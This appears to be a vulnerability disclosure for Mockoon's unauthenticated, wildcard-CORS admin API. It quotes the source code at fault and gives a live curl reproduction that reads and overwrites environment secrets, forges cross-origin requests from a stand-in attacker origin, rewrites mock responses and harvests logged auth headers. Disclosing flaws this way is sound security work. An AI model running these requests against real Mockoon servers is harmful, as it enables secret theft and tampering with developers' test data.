Mockoon's admin API (commons-server/src/libs/server/admin-api.ts) is mounted on the same Express listener as the user-defined mock routes, enabled by default in every shipped runtime (commons-server, CLI, serverless), serves Access-Control-Allow-Origin: on every endpoint with all HTTP methods allowed including PUT/POST/PATCH/DELETE/PURGE and Content-Type in Access-Control-Allow-Headers, and has zero authentication of any kind (no token, no shared secret, no MOCKOONADMINTOKEN env var — searched the repo, returns zero hits).
Any unauthenticated caller who can reach the mock server's port (default 0.0.0.0:3000) can:
- Read every MOCKOON env var used by the operator as secret material in templates (getEnvVar helper).
- Write arbitrary process env vars (no prefix check on the WRITE path) — poison operator's MOCKOONAPIKEY, MOCKOONJWTSECRET, …, or write process-level vars like AWSSECRETACCESSKEY that the surrounding runtime consumes.
- Rewrite every mock route's body / status / headers in-runtime via PUT /mockoon-admin/environment — downstream consumers (frontend dev-server, CI test suite, integration partner) receive attacker-controlled responses and headers including Set-Cookie, Location, Content-Security-Policy, etc.
- Read transaction logs / SSE stream (consumer's request bodies + auth headers in clear).
- Read/write global template vars; purge state / data buckets / logs.
Because of the wildcard CORS reply, the attack also lands cross-origin from a browser: a developer who runs mockoon-cli start ... locally and visits a malicious website gets their mock state hijacked.
---
// root causepackages/commons-server/src/libs/server/server.ts:127:
private options: ServerOptions = {
...,
enableAdminApi: true, // ← default on
};packages/cli/src/commands/start.ts:200:
enableAdminApi: !userFlags['disable-admin-api'], // default true unless --disable-admin-api passed
packages/serverless/src/libs/serverless.ts:21:
enableAdminApi: true, // ← default on, no flag to disable in the constructor
packages/commons-server/src/libs/server/admin-api.ts:63-74 (permissive CORS on every admin endpoint):
app.use(`${adminApiPrefix}*`, (req, res, next) => {
res.setHeaders(
new Headers({
'Access-Control-Allow-Origin': '*',
'Access-Control-Allow-Methods':
'GET,POST,PUT,PATCH,DELETE,HEAD,OPTIONS',
'Access-Control-Allow-Headers':
'Content-Type, Origin, Accept, Authorization, Content-Length, X-Requested-With'
})
);
next();
});packages/commons-server/src/libs/server/admin-api.ts:151-166 (no auth, no prefix check on WRITE):
const setEnvVarHandler = (req, res) => {
try {
const { key, value } = req.body;
if (key !== undefined && value !== undefined) {
process.env[key] = value; // ← any process env, any value
res.send({ message: `Environment variable '${key}' has been set to '${value}'` });
} else {
throw new Error('Key or value missing from request');
}
} catch (_error) {
res.status(400).send({ message: 'Invalid request' });
}
};packages/commons-server/src/libs/server/admin-api.ts:373-393 (the most impactful — runtime mock rewrite):
app.put(`${adminApiPrefix}/environment`, (req, res) => {
try {
const environment: Environment = EnvironmentSchema.validate(req.body).value;
if (!environment) {
res.status(400).send({ message: 'Invalid environment format' });
return;
}
updateEnvironment(environment); // ← runtime mutation of every route response
res.send({ message: 'Environment updated' });
} catch (_error) {
res.status(400).send({ message: 'Invalid environment format' });
}
});Default hostname: '' (packages/commons/src/constants/environment-schema.constants.ts:33) → Node binds 0.0.0.0/:: (confirmed via lsof). Migration #16 (packages/commons/src/libs/migrations.ts:343) also forces missing hostnames to '0.0.0.0'.
---
// live reproduction (2026-05-11, @mockoon/cli@9.6.1)npm install @mockoon/cli@9.6.1. Minimal env.json with one route GET /users/:id whose response templates {{getEnvVar 'MOCKOONAPIKEY'}}. Start with:
MOCKOON_API_KEY="sk-operator-real-secret-DO_NOT_LEAK_xyz789" \ mockoon-cli start --data env.json --port 3100 --repair --disable-log-to-file
Bind confirmed via lsof:
COMMAND PID USER FD TYPE ... NAME node 39906 ... 14u IPv6 ... TCP *:3100 (LISTEN) <-- all interfaces
Baseline mock response:
$ curl -s http://127.0.0.1:3100/users/42
{"id":"42","name":"BENIGN_ALICE","role":"user","apiKey":"sk-operator-real-secret-DO_NOT_LEAK_xyz789"}// 1) read operator secret unauth$ curl -s -i http://127.0.0.1:3100/mockoon-admin/env-vars/API_KEY
HTTP/1.1 200 OK
access-control-allow-origin: *
{"key":"MOCKOON_API_KEY","value":"sk-operator-real-secret-DO_NOT_LEAK_xyz789"}// 2) poison operator secret unauth → downstream consumer ingests attacker value$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \
-H "Content-Type: application/json" \
-d '{"key":"MOCKOON_API_KEY","value":"sk-POISONED-BY-ATTACKER"}'
{"message":"Environment variable 'MOCKOON_API_KEY' has been set to 'sk-POISONED-BY-ATTACKER'"}
$ curl -s http://127.0.0.1:3100/users/42
{"id":"42","name":"BENIGN_ALICE","role":"user","apiKey":"sk-POISONED-BY-ATTACKER"}// 3) write arbitrary non-mockoon env var (no prefix gate)$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \
-H "Content-Type: application/json" \
-d '{"key":"AWS_SECRET_ACCESS_KEY","value":"overwritten-by-attacker"}'
{"message":"Environment variable 'AWS_SECRET_ACCESS_KEY' has been set to 'overwritten-by-attacker'"}// 4) cross-origin csrf from https://attacker.evil$ curl -s -i -X OPTIONS http://127.0.0.1:3100/mockoon-admin/env-vars \
-H "Origin: https://attacker.evil" \
-H "Access-Control-Request-Method: POST" \
-H "Access-Control-Request-Headers: Content-Type"
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET,POST,PUT,PATCH,DELETE,HEAD,OPTIONS
Access-Control-Allow-Headers: Content-Type, Origin, Accept, Authorization, Content-Length, X-Requested-With
$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \
-H "Origin: https://attacker.evil" \
-H "Content-Type: application/json" \
-d '{"key":"MOCKOON_API_KEY","value":"sk-EXFIL-FROM-attacker.evil"}'
{"message":"Environment variable 'MOCKOON_API_KEY' has been set to 'sk-EXFIL-FROM-attacker.evil'"}Wildcard Access-Control-Allow-Origin: + Access-Control-Allow-Methods covering PUT/POST/PATCH + Content-Type in Access-Control-Allow-Headers mean the browser preflight passes for non-simple JSON POSTs. A developer who visits a malicious site while their Mockoon CLI is running is fully exploitable from JavaScript.
// 5) rewrite every mock route via unauth put /environment$ curl -s -X PUT http://127.0.0.1:3100/mockoon-admin/environment \
-H "Origin: https://attacker.evil" \
-H "Content-Type: application/json" \
-d '{ ...full env JSON with route response rewritten to body "ATTACKER_PWNED",
statusCode 418, header X-Pwned: by-attacker.evil... }'
{"message":"Environment updated"}
$ curl -s -i http://127.0.0.1:3100/users/99
HTTP/1.1 418 I'm a Teapot
X-Pwned: by-attacker.evil
Content-Type: application/json
{"id":"99","name":"ATTACKER_PWNED","role":"admin","backdoor":true}// 6) read transaction logs / sse stream → harvest consumer's auth headers$ curl -s http://127.0.0.1:3100/mockoon-admin/logs?limit=2
Each log entry includes consumer's request.headers (Authorization / Cookie / X-API-Key), request.body, request.urlPath, and the response served back — continuous info-disclosure of every API call the legitimate consumer makes against the mock. GET /mockoon-admin/events streams the same data live via SSE.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- Required
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High